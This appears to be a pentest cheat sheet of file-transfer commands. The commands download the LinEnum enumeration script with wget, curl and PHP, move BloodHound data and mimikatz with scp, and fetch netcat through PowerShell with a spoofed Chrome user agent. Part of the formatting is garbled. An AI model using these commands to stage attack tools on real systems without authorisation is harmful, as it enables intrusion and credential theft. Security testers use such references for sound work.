wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.shDownload a file using Wget
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shDownload a file using cURL
<a href=”php -r ‘$file = file_get_contents(“https:///LinEnum.sh”); file_put_contents(“LinEnum.sh”,$file);’”>php -r ‘$file = file_get_contents(“https://<snip>/LinEnum.sh”); file_put_contents(“LinEnum.sh”,$file);’Download a file using PHP
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zipUpload a file using SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exeDownload a file using SCP
[[Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile “nc.exe”]]Invoke-WebRequest using a Chrome User Agent